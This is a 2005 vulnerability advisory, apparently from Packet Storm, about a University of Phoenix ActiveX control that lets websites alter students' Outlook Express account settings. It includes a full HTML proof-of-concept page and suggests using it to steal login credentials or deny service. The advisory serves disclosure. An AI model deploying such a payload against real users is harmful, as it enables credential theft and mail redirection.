uofpConfig.txt

🗓️ 01 Feb 2005 00:00:00Reported by Adam BaldwinType

packetstorm🔗 packetstormsecurity.com👁 34 Views

University of Phoenix's Outlook Express has a vulnerability in ActiveX control, risking account manipulation.

` * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *  
  
University of Phoenix Outlook Express Unauthorized Configuration Manipulation  
Vendor Homepage: http://www.phoenix.edu  
  
Discovered by: Adam Baldwin ([email protected])  
www.evilpacket.net\advisories\EP-000-0002.html  
  
Discovery Date: 1.17.2005  
  
File Name: PhxStudent15.ocx  
Vulnerable Version: 2.00.0001  
  
Overview:  
PhxStudent15.ocx is an activex control used to setup e-mail / NNTP and  
LDAP accounts in Outlook Express. This control remains on the users  
system long after the setup process has completed. This activex  
control can be used to manipulate the users account settings (imap /  
smtp / nntp / ldap).  
  
The following is an example of how to embed this control into a  
website with the proper param's. Note the account is only 'modified'  
if the "Program" param remains the same, which is not difficult. Any  
of the other settings can be modified to cause any number of attacks  
from denial of service to theft of login credentials, (be inventive  
:-)  
  
Example:  
<HTML>  
<BODY>  
<OBJECT classid=CLSID:A82C3A33-5C0E-466C-B020-71585433A7E4  
codeBase="PhxStudent15.ocx">  
<PARAM NAME="Program" VALUE="BSIT">  
<PARAM NAME="GroupID" VALUE="BSAF008HU0">  
<PARAM NAME="CourseID" VALUE="DBM/380">  
<PARAM NAME="StartDate" VALUE="01/20/2005">  
<PARAM NAME="Path" VALUE="">  
<PARAM NAME="DNS" VALUE="bsit2.phoenix.edu">  
<PARAM NAME="Student" VALUE="Y">  
<PARAM NAME="FName" VALUE="FIRSTNAME">  
<PARAM NAME="LName" VALUE="LASTNAME">  
<PARAM NAME="Alias" VALUE="username">  
<PARAM NAME="ErrorPath" VALUE="">  
<PARAM NAME="CourseListPage" VALUE="">  
<PARAM NAME="Account2000YN" VALUE="Y">  
<PARAM NAME="NNTPUserNamePrefix" VALUE="ols\">  
<PARAM NAME="EmailSuffix" VALUE="@email.uophx.edu">  
<PARAM NAME="LDAPServer" VALUE="ldap.uophx.edu">  
<PARAM NAME="MailoutLocation" VALUE="emailout.phoenix.edu">  
<PARAM NAME="EmailLocation" VALUE="email11.phoenix.edu">  
<PARAM NAME="FlexnetEmailLocation" VALUE="email11.phoenix.edu">  
<PARAM NAME="LDAPUserName" VALUE="">  
<PARAM NAME="ProgramSuffix" VALUE="_">  
</OBJECT>  
</BODY>  
</HTML>  
  
Mitigation:  
The University of Phoenix has been contacted but no response has been  
received. I would recommend that students remove this activex control  
and only allow it to be installed while registering for classes.  
  
Notes:  
At this time further exploitation does not appear possible, although  
on the following platform (with modification of the params) would  
crash IE after the ocx was loaded and crashed 3 times in the same  
browser window, which begs further research.  
  
Platform: Windows XP SP2, IE 6.0.2900.2180.xpsp2_rtm.040803-2158   
  
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *  
`

01 Feb 2005 00:00Current

7.4High risk

Vulners AI Score7.4